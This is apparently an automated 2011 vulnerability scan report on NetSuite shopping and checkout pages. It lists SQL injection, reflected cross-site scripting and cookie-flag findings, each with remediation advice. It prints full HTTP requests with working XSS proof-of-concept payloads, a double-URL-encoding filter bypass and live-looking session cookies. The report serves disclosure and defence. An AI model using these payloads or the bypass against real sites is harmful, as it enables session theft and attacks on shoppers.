XSS, Netsuite HTTP Systems, Cross Site Scripting, CWE-79, CAPEC-86
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Report generated by XSS.CX at Fri Mar 18 06:24:03 CDT 2011.
XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.
The n parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the n parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Issue background
SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
Request 1
GET /app/site/query/getcarttotal.nl?c=663271&n=1' HTTP/1.1 Host: shopping.netsuite.com Proxy-Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=zzcvND9bGkMlGL16VyMThBZy0p1TyXN6stRSsbV1YDWVGHCVPDJcwpdv0ZHg63r5SnzH4ms9hcyzTjKhnGQrdjWQN8DWLw5qF7fw1TtTz2w9ChvmLYB1h6vdy5y9Hjyk!1898792965; NLShopperId=rcHW8-J5ARIkirWd; NS_VER=2010.2.0
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
2.1. https://checkout.netsuite.com/s.nl [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
https://checkout.netsuite.com
Path:
/s.nl
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c4048%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%2527cd8b79b8d08 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c4048'style='x:expression(alert(1))'cd8b79b8d08 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /s.nl?ext=T&c=663271&n=1&sc=4&ck=rcHW8-J5ARIkirWd&vid=rcHW8-J5AQwkinn3&cktime=96748&cart=4579&c4048%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%2527cd8b79b8d08=1 HTTP/1.1 Host: checkout.netsuite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NLVisitorId=rcHW8-J5AQwkinn3; JSESSIONID=7LsfND9VBn9szTGJJrk3dM5pBMTh28L3jc2Fvvy9J0PMTVxmKnGBf14hxbJ771xZ9qvcB8WvH1VrDnQnZ563H13JsxrJpl8pv0p3QspLvvBsSFbQdDbLGTLRpLnvP6KS!-552694511; bn_u=6923463569969678665; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NS_VER=2010.2.0; __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; NLShopperId=rcHW8-J5ARIkirWd; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload da1b8'style%3d'x%3aexpression(alert(1))'d5fbc73fcc4 was submitted in the REST URL parameter 2. This input was echoed as da1b8'style='x:expression(alert(1))'d5fbc73fcc4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /s.nl/c.663271da1b8'style%3d'x%3aexpression(alert(1))'d5fbc73fcc4/n.1/sc.4/.f HTTP/1.1 Host: checkout.netsuite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NLVisitorId=rcHW8-J5AQwkinn3; JSESSIONID=7LsfND9VBn9szTGJJrk3dM5pBMTh28L3jc2Fvvy9J0PMTVxmKnGBf14hxbJ771xZ9qvcB8WvH1VrDnQnZ563H13JsxrJpl8pv0p3QspLvvBsSFbQdDbLGTLRpLnvP6KS!-552694511; bn_u=6923463569969678665; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NS_VER=2010.2.0; __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; NLShopperId=rcHW8-J5ARIkirWd; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214;
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7b2e7'style%3d'x%3aexpression(alert(1))'c4182b9b7b was submitted in the REST URL parameter 2. This input was echoed as 7b2e7'style='x:expression(alert(1))'c4182b9b7b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /s.nl/c.6632717b2e7'style%3d'x%3aexpression(alert(1))'c4182b9b7b/n.1/sc.4/.f?ext=T&login=T&reset=T HTTP/1.1 Host: checkout.netsuite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NLVisitorId=rcHW8-J5AQwkinn3; JSESSIONID=7LsfND9VBn9szTGJJrk3dM5pBMTh28L3jc2Fvvy9J0PMTVxmKnGBf14hxbJ771xZ9qvcB8WvH1VrDnQnZ563H13JsxrJpl8pv0p3QspLvvBsSFbQdDbLGTLRpLnvP6KS!-552694511; bn_u=6923463569969678665; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NS_VER=2010.2.0; __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; NLShopperId=rcHW8-J5ARIkirWd; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214;
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6450b'%20style%3dx%3aexpression(alert(1))%20594dcb9ee69 was submitted in the REST URL parameter 3. This input was echoed as 6450b\' style=x:expression(alert(1)) 594dcb9ee69 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /s.nl/c.663271/n.16450b'%20style%3dx%3aexpression(alert(1))%20594dcb9ee69/sc.4/.f?ext=T&login=T&reset=T&newcust=T HTTP/1.1 Host: checkout.netsuite.com Connection: keep-alive Referer: https://checkout.netsuite.com/s.nl?c=663271&sc=4&n=1&ext=T&whence=&redirect_count=1&did_javascript_redirect=T User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=7LsfND9VBn9szTGJJrk3dM5pBMTh28L3jc2Fvvy9J0PMTVxmKnGBf14hxbJ771xZ9qvcB8WvH1VrDnQnZ563H13JsxrJpl8pv0p3QspLvvBsSFbQdDbLGTLRpLnvP6KS!-552694511; NLVisitorId=rcHW8-J5AQwkinn3; NLShopperId=rcHW8-J5ARIkirWd; NS_VER=2010.2.0
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c707b'style%3d'x%3aexpression(alert(1))'0f1059a770 was submitted in the REST URL parameter 2. This input was echoed as c707b'style='x:expression(alert(1))'0f1059a770 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /s.nl/c.663271c707b'style%3d'x%3aexpression(alert(1))'0f1059a770/n.1/sc.3/.f HTTP/1.1 Host: shopping.netsuite.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NLVisitorId=rcHW8-J5AQwkinn3; JSESSIONID=zzcvND9bGkMlGL16VyMThBZy0p1TyXN6stRSsbV1YDWVGHCVPDJcwpdv0ZHg63r5SnzH4ms9hcyzTjKhnGQrdjWQN8DWLw5qF7fw1TtTz2w9ChvmLYB1h6vdy5y9Hjyk!1898792965; bn_u=6923463569969678665; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NS_VER=2010.2.0; __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; NLShopperId=rcHW8-J5ARIkirWd;
2.6. http://shopping.netsuite.com/s.nl/c.663271/n.1/sc.3/.f [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://shopping.netsuite.com
Path:
/s.nl/c.663271/n.1/sc.3/.f
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b1d42%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%252785d1ba0c93f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b1d42'style='x:expression(alert(1))'85d1ba0c93f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /s.nl/c.663271/n.1/sc.3/.f?ext=T&ck=rcHW8-J5ARIkirWd&vid=rcHW8-J5AQwkinn3&cktime=96748&cart=4579&chrole=17&b1d42%2527style%253d%2527x%253aexpression%2528alert%25281%2529%2529%252785d1ba0c93f=1 HTTP/1.1 Host: shopping.netsuite.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=zzcvND9bGkMlGL16VyMThBZy0p1TyXN6stRSsbV1YDWVGHCVPDJcwpdv0ZHg63r5SnzH4ms9hcyzTjKhnGQrdjWQN8DWLw5qF7fw1TtTz2w9ChvmLYB1h6vdy5y9Hjyk!1898792965; NS_VER=2010.2.0; NLVisitorId=rcHW8-J5AQwkinn3; NLShopperId=rcHW8-J5ARIkirWd
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
Request
GET /s.nl?ext=T&c=663271&n=1&sc=4&ck=rcHW8-J5ARIkirWd&vid=rcHW8-J5AQwkinn3&cktime=96748&cart=4579&whence= HTTP/1.1 Host: checkout.netsuite.com Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp?whence= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; NLShopperId=rcHW8-J5ARIkirWd
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /s.nl?ext=T&c=663271&n=1&sc=4&ck=rcHW8-J5ARIkirWd&vid=rcHW8-J5AQwkinn3&cktime=96748&cart=4579&whence= HTTP/1.1 Host: checkout.netsuite.com Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp?whence= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; NLShopperId=rcHW8-J5ARIkirWd
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /javascript/NLUtil.jsp__NS_VER=2010.1.0&locale=en_US.nlqs HTTP/1.1 Host: shopping.netsuite.com Proxy-Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; NLShopperId=rcHW8-J5ARIkirWd; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /app/site/query/checkoutredirect.nl?c=663271&n=1&ext=T HTTP/1.1 Host: shopping.netsuite.com Proxy-Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp?whence= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=zzcvND9bGkMlGL16VyMThBZy0p1TyXN6stRSsbV1YDWVGHCVPDJcwpdv0ZHg63r5SnzH4ms9hcyzTjKhnGQrdjWQN8DWLw5qF7fw1TtTz2w9ChvmLYB1h6vdy5y9Hjyk!1898792965; NS_VER=2010.2.0; NLShopperId=rcHW8-J5ARIkirWd
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /app/site/query/getitemsdescr.nl?c=663271&n=1&id=187 HTTP/1.1 Host: shopping.netsuite.com Proxy-Connection: keep-alive Referer: http://www.rapid7.com/store/nexpose/index.jsp User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); NLVisitorId=rcHW8-J5AQwkinn3; NLShopperId=rcHW8-J5ARIkirWd; bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=zzcvND9bGkMlGL16VyMThBZy0p1TyXN6stRSsbV1YDWVGHCVPDJcwpdv0ZHg63r5SnzH4ms9hcyzTjKhnGQrdjWQN8DWLw5qF7fw1TtTz2w9ChvmLYB1h6vdy5y9Hjyk!1898792965
document.write('<h5>NEXPOSE EXPRESS</h5><p>NeXpose Express is a vulnerability assessment, policy compliance and remediation management solution designed for small to medium sized organizations with sc ...[SNIP]...
5. Password field with autocomplete enabledpreviousnext There are 4 instances of this issue:
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
The application appears to disclose some server-side source code written in ASP.
Issue background
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
Request
GET /javascript/NLAppUtil.jsp__NS_VER=2010.2.0&locale=en_US.nlqs HTTP/1.1 Host: checkout.netsuite.com Connection: keep-alive Referer: https://checkout.netsuite.com/app/site/backend/setcheckoutvalue.nl?sc=4&redirect=none&custentityr7companysize=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=19239463.1124996738.1300411094.1300411094.1300411094.1; __utmz=19239463.1300411094.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); bn_u=6923463569969678665; mbox=check#true#1300411274|session#1300411091366-456308#1300413074|PC#1300411091366-456308.17#1363483214; JSESSIONID=7LsfND9VBn9szTGJJrk3dM5pBMTh28L3jc2Fvvy9J0PMTVxmKnGBf14hxbJ771xZ9qvcB8WvH1VrDnQnZ563H13JsxrJpl8pv0p3QspLvvBsSFbQdDbLGTLRpLnvP6KS!-552694511; NLVisitorId=rcHW8-J5AQwkinn3; NLShopperId=rcHW8-J5ARIkirWd; NS_VER=2010.2.0
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
